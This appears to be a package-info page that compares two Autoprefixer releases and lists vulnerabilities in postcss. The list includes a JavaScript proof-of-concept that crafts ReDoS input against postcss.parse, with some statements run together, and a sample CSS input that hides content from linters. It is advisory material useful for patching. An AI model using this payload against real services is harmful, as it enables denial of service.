Autoprefixer saw a significant update between versions 0.8.20131213 and 1.0.20131222. Both versions share the core functionality of parsing CSS and adding vendor prefixes based on Can I Use data, aiming to streamline cross-browser compatibility. A key difference lies in the dependencies. Version 0.8.20131213 relied on css-parse and css-stringify for CSS processing, while version 1.0.20131222 transitioned to postcss, suggesting a shift towards a more modern and potentially feature-rich CSS parsing and manipulation tool. The latter version also introduced fs-extra as a direct dependency, probably to extend the file system functionalities of node.js.
Moreover, version 1.0.20131222 dropped certain development dependencies like rework and component present in version 0.8.20131213, while adding browserify. This hints at changes in the build and testing process, possibly aiming for better modularity and browser compatibility testing. Another difference is the license that changed from LGPL 3 to MIT. Developers should note the change in core dependencies and how it might affect integration with existing workflows. The move to postcss in version 1.0.20131222 likely unlocked new possibilities in CSS processing, potentially offering enhanced performance and features compared to the older css-parse and css-stringify approach. Upgrading may provide access to these benefits, but requires compatibility checks with existing projects.
All the vulnerabilities related to the version 1.0.20131222 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.